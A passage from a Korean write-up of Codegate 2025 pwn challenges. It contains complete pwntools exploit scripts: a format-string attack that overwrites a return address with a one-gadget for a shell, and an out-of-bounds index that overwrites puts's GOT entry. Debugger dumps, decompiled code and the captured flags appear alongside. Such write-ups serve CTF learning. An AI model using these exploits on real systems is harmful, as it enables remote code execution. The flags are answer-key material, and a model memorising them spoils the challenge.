'0x7fffc037f570', '0x8025000000000044', '0x3800000001', '0x4', 'p', '0x7fffc037c3f0', '0x79', '0x40', '0x66', '0x7fffc037c287', '0x380', '0x7fffc037f570', '0x8070000000000044', '0x3900000001', '', '0x7fffc037c3f0', '0x7a', '0x40', '0x64', '0x7fffc037c27e', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x3a00000001', '0x7fffc037c3f0', '0x7b', '0x40', '0x63', '0x7fffc037c27e', '0x380', '0x7fffc037f570', '0x8025000000000044', '0x3b00000001', 'p', '0x7fffc037c3f0', '0x7c', '0x40', '0x62', '0x7fffc037c27e', '0x380', '0x7fffc037f570', '0x8070000000000044', '', '0x7fffc037c3f0', '0x7d', '0x40', '0x57', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x802e000000000044', '0x7fffc037c3f0', '0x7e', '0x40', '0x56', '0x7fffc037c278', '0x380', '0x7fffc037f570', '0x8025000000000044', 'p', '0x7fffc037c3f0', '0x7f', '0x40', '0x55', '0x7fffc037c278', '0x380', '0x7fffc037f570', '', '', '0x1', '0x80', '0x80', '0x72927a000a70', '0x7fffc037c27c', '0x380', '0x7fffc037f570', '0x7fffc037c3f0', '0x81', '0x80', '0x42', '0x7fffc037c27c', '0x380', '0x7fffc037f570', 'p', '0x7fffc037c3f0', '0x82', '0x80', '0x42', '0x7fffc037c27c', '0x380', '', '0x7fffc037c3f0', '0x83', '0x80', '0x35', '0x7fffc037c285', '0x380', '0x7fffc037c3f0', '0x84', '0x80', '0x34', '0x7fffc037c285', '0x380', 'p', '0x7fffc037c3f0', '0x85', '0x80', '0x33', '0x7fffc037c285', '', '0x7fffc037c3f0', '0x86', '0x80', '0x2f', '0x7fffc037c27c', '0x7fffc037c3f0', '0x87', '0x80', '0x2e', '0x7fffc037c27c', 'p', '0x7fffc037c3f0', '0x88', '0x80', '0x2d', '', '0x7fffc037c3f0', '0x89', '0x80', '0x20', '0x7fffc037c3f0', '0x8a', '0x80', '0x1f', 'p', '0x7fffc037c3f0', '0x8b', '0x80', '', '0x7fffc037c3f0', '0x8c', '0x80', '0x7fffc037c3f0', '0x8d', '0x80', 'p', '0x7fffc037c3f0', '0x8e', '', '0x7fffc037c3f0', '0x8f', '0x7fffc037c3f0', '0x90', 'p', '0x7fffc037c3f0', '', '0x7fffc037c3f0', '0x7fffc037c3f0', 'p', '', '                                         ', '                                                                ']
[+] stack addr : 0x7fffc037f570
[+] libc addr : 0x729279de4000

(스택은 일단 있길래 릭 했는데 나중에 풀 때 큰 도움이 되었다.)

이제 leak 했으니 FSB로 AAW 하면 된다.

편의를 위해서 3번 기능 커서 맞추고,

puts,printf 에서 호출하는 내부 함수의 GOT를 원가젯으로 덮으려고 시도했지만

원가젯 조건이 하나도 안맞아서 이 방법은 포기했다.

스택 주소도 릭 했겠다 FSB는 printf가 호출하는 내부 함수 vfprintf에서 이루어지기 때문에

printf의 내부 함수의 RET주소를 릭한 스택주소에서 오프셋으로 구할 수 있고,

FSB로 조작하면 RIP를 마음대로 조작 할 수 있다 에필로그에서 pop 하는 가젯도 직접 조작이 가능하기 때문에 원가젯 조건도 쉽게 맞출수있다.

pwndbg> 
0x00007fbf6475973a in ?? () from target:/lib/x86_64-linux-gnu/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────
 RAX  0x17fc8
 RBX  0
 RCX  0x7fbf647f6887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0xffffffff
 RDI  0x7ffd9e5622d0 —▸ 0x7fbf64744050 (funlockfile) ◂— endbr64 
 RSI  0x7ffd9e5623f0 ◂— 0x2020202020202020 ('        ')
 R8   0x1fc8
 R9   0
 R10  0
 R11  0x246
 R12  0
*R13  0
 R14  0x7fbf648f9600 (_IO_file_jumps) ◂— 0
 R15  0x7fbf64949040 (_rtld_global) —▸ 0x7fbf6494a2e0 —▸ 0x5608d296e000 ◂— 0x10102464c457f
 RBP  0x7ffd9e565550 —▸ 0x7ffd9e565590 ◂— 1
*RSP  0x7ffd9e564420 —▸ 0x5608d2971d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5608d296f240 (__do_global_dtors_aux) ◂— endbr64 
*RIP  0x7fbf6475973a ◂— pop r14
────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────
   0x7fbf64759731                   mov    eax, r12d       EAX => 0x17fc8
   0x7fbf64759734                   pop    rbx             RBX => 0
   0x7fbf64759735                   pop    rbp             RBP => 0x7ffd9e565550
   0x7fbf64759736                   pop    r12             R12 => 0
   0x7fbf64759738                   pop    r13             R13 => 0
 ► 0x7fbf6475973a                   pop    r14             R14 => 0x5608d2971d70 (__do_global_dtors_aux_fini_array_entry)
   0x7fbf6475973c                   ret                                <execvpe+1234>
    ↓
   0x7fbf647cdce2 <execvpe+1234>    lea    r14, [rip + 0xec98f]            R14 => 0x7fbf648ba678 ◂— 0x68732f6e69622f /* '/bin/sh' */
   0x7fbf647cdce9 <execvpe+1241>    mov    qword ptr [rbp - 0x48], r13     [0x7ffd9e565508] <= 0
   0x7fbf647cdced <execvpe+1245>    lea    r8, [rbp - 0x50]                R8 => 0x7ffd9e565500 ◂— '        '
   0x7fbf647cdcf1 <execvpe+1249>    mov    qword ptr [rbp - 0x50], r14     [0x7ffd9e565500] <= 0x7fbf648ba678 ◂— 0x68732f6e69622f /* '/bin/sh' */
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd9e564420 —▸ 0x5608d2971d70 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5608d296f240 (__do_global_dtors_aux) ◂— endbr64 
01:0008│     0x7ffd9e564428 —▸ 0x7fbf647cdce2 (execvpe+1234) ◂— lea r14, [rip + 0xec98f]
02:0010│     0x7ffd9e564430 ◂— 0x3000000008
03:0018│     0x7ffd9e564438 —▸ 0x7ffd9e564510 ◂— 0x380
04:0020│     0x7ffd9e564440 —▸ 0x7ffd9e564450 ◂— 1
05:0028│     0x7ffd9e564448 ◂— 0x12031be65ae24c00
06:0030│     0x7ffd9e564450 ◂— 1
07:0038│     0x7ffd9e564458 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
 ► 0   0x7fbf6475973a None
   1   0x7fbf647cdce2 execvpe+1234
   2   0x5608d296fa6f main+206
   3   0x7fbf6470bd90 None
   4   0x7fbf6470be40 __libc_start_main+128
   5   0x5608d296f1c5 _start+37
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.bits = 64
#p = remote("localhost", 54321)

f = lambda s: b"".join(p16(0x8000 | b) for b in s)

p = remote("43.203.137.197", 54321)

libc = ELF("./libc.so.6")
p.sendlineafter(b"> ",b"1")

for i in range(50):
    p.send(f(b"%p."))

p.send(p16(0x8000))
p.send(p16(0x2000))
p.sendlineafter(b"> ",b"3")

result = []
for _ in range(4):
    line = p.recvline()[:-1].decode().split(".")
    result.extend(line)
print(result)

stack = int(result[57],16)
success(f"stack addr : {hex(stack)}")

libc.address = int(result[2554],16) - 0x21ca70
success(f"libc addr : {hex(libc.address)}")

p.sendlineafter(b"> ",b"2")
p.sendlineafter(b"x > ",b"0")
p.sendlineafter(b"y > ",b"0")

main_ret = stack + 0x28

# payload = f(fmtstr_payload(12,{main_ret:0x31337})) + p16(0x2000)

# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

printf_libc_got = 0x21a0b8 + libc.address
og = libc.address+0xebce2
payload = f(fmtstr_payload(12,{stack-0x1148:og,stack-0x1148-0x18:0,stack-0x1148-0x10:0},write_size="short")).ljust(8192,b"\\x00")

p.sendlineafter(b"> ",b"1")
p.send(payload)
p.sendlineafter(b"> ",b"3")

p.interactive()
codegate2025{c0ur463_1n_7h3_f4c3_0f_7h3_unkn0wn_15_4n_1mp0r74n7_qu4l17y_1n_4_w1z4rd}

What's Happening?

[보호기법]

# root @ daeseong in /mnt/p/codegate/2025/pwn/Magic Palette 0 [20:50:27]
~ checksec ./deploy/prob                                                    0 [20:50:27]
[*] '/mnt/p/codegate/2025/pwn/Magic Palette/deploy/prob'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

[디컴파일 코드]

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  unsigned __int64 v4; // rax
  int v5; // r8d
  int v6; // r9d
  int v7[2]; // [rsp+18h] [rbp-68h] BYREF
  int v8[2]; // [rsp+20h] [rbp-60h]
  char *v9; // [rsp+28h] [rbp-58h]
  char s[8]; // [rsp+30h] [rbp-50h] BYREF
  __int64 v11; // [rsp+50h] [rbp-30h] BYREF
  int v12[2]; // [rsp+60h] [rbp-20h] BYREF
  unsigned __int64 v13; // [rsp+68h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  (init)(argc, argv, envp);
  *v8 = &objects;
  init_solar_system(&objects);
  v3 = "Planet Distance Calculator v1.0";
  puts("Planet Distance Calculator v1.0");
  while ( 1 )
  {
    (menu)(v3);
    v4 = (prompt)(v3);
    if ( v4 == 3 )
      break;
    if ( v4 <= 3 )
    {
      if ( v4 == 1 )
      {
        printf("Enter planet index to update (0-12): ");
        __isoc99_scanf("%ld", v7);
        printf("Enter planet name: ");
        getchar();
        if ( fgets(s, 0x20, stdin) )
        {
          v9 = strchr(s, 10);
          if ( v9 )
            *v9 = 0;
        }
        printf("Enter AU value: ");
        __isoc99_scanf("%lf", &v11);
        printf("Enter color (0-10): ");
        __isoc99_scanf("%d", &v12[1]);
        v3 = *v8;
        update(v8[0], v7[0], v8[0], v12[0], v5, v6, s[0]);
      }
      else if ( v4 == 2 )
      {
        v3 = *v8;
        print_solar_system(*v8);
      }
    }
  }
  _exit(0);
}
__int64 __fastcall init_solar_system(__int64 a1)
{
  set_planet(a1, &aSun, 0LL, 0.0);
  set_planet(a1 + 56, "Mercury", 1LL, 0.4);
  set_planet(a1 + 112, "Venus", 2LL, 0.7);
  set_planet(a1 + 168, "Earth", 3LL, 1.0);
  set_planet(a1 + 224, "Mars", 4LL, 1.5);
  set_planet(a1 + 280, "Asteroid Belt", 5LL, 2.8);
  set_planet(a1 + 336, "Jupiter", 6LL, 5.2);
  set_planet(a1 + 392, "Saturn", 7LL, 9.6);
  set_planet(a1 + 448, "Uranus", 8LL, 19.2);
  set_planet(a1 + 504, "Neptune", 9LL, 30.0);
  set_planet(a1 + 560, "Pluto (closest)", 10LL, 29.7);
  set_planet(a1 + 616, "Pluto (average)", 10LL, 39.5);
  return set_planet(a1 + 672, "Pluto (most distant)", 10LL, 49.3);
}
void *__fastcall update(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6, char src)
{
  return memcpy((56 * a2 + a1), &src, 0x38uLL);
}
int win()
{
  return system("/bin/sh");
}

BSS 영역에 objects 라는 구조체 배열을 하나 할당해 놓고 init_solar_system 함수로 각 행성마다 구조체를 넣어준다.

printf/update 기능이 있는데 PIE가 안걸려 있고,win 함수가 있기 때문에 바로 update 기능 부터 봤다.

사용자한테서 20바이트,인덱스를 입력받고 memcpy(objects[index],user_jnput) 으로 바로 복사한다.

index 검사하는 코드가 없기 때문에 OOB가 발생하고 입력도 마음대로 줄 수 있기 때문에

음수로 줘서 GOT를 덮을 수 있다.

pwndbg> i var objects
All variables matching regular expression "objects":

Non-debugging symbols:
0x00000000004040c0  objects
pwndbg> x/10gx 0x00000000004040c0+(56*-3)
0x404018 <puts@got.plt>:        0x00007f797d9a0bd0      0x0000000000401070
0x404028 <system@got.plt>:      0x0000000000401080      0x00007f797daa3b60
0x404038 <printf@got.plt>:      0x00007f797d9790f0      0x00007f797d99eb20
0x404048 <getchar@got.plt>:     0x00007f797d9a80f0      0x00000000004010d0
0x404058 <setvbuf@got.plt>:     0x00007f797d9a1540      0x00007f797d978e00
pwndbg> 

인덱스를 -3 로 주면 딱 puts 의 GOT여서 바로 win 으로 덮으면 menu 함수를 호출 할 때 win 함수를 호출한다.

from pwn import *

#p = remote("localhost", 33333)
p = remote("3.37.174.221", 33333)

p.sendlineafter(b"> ",b"1")
p.sendlineafter(b"Enter planet index to update (0-12): ",b"-3")
p.sendafter(b"Enter planet name: ",p64(0x4018B4)*2+p64(0x0000000000401080)+b"\\x0A")
p.sendlineafter(b"Enter AU value: ",b"1")
p.sendlineafter(b"Enter color (0-10): ",b"1")

p.interactive()
codegate2025{43b90018c8245484a70825e02a2511e3cc36c3f4f369a58c3c1b7bcbba66cf74d1149bb719e1d6d26d2766ae41cb0d2e185d0b6e}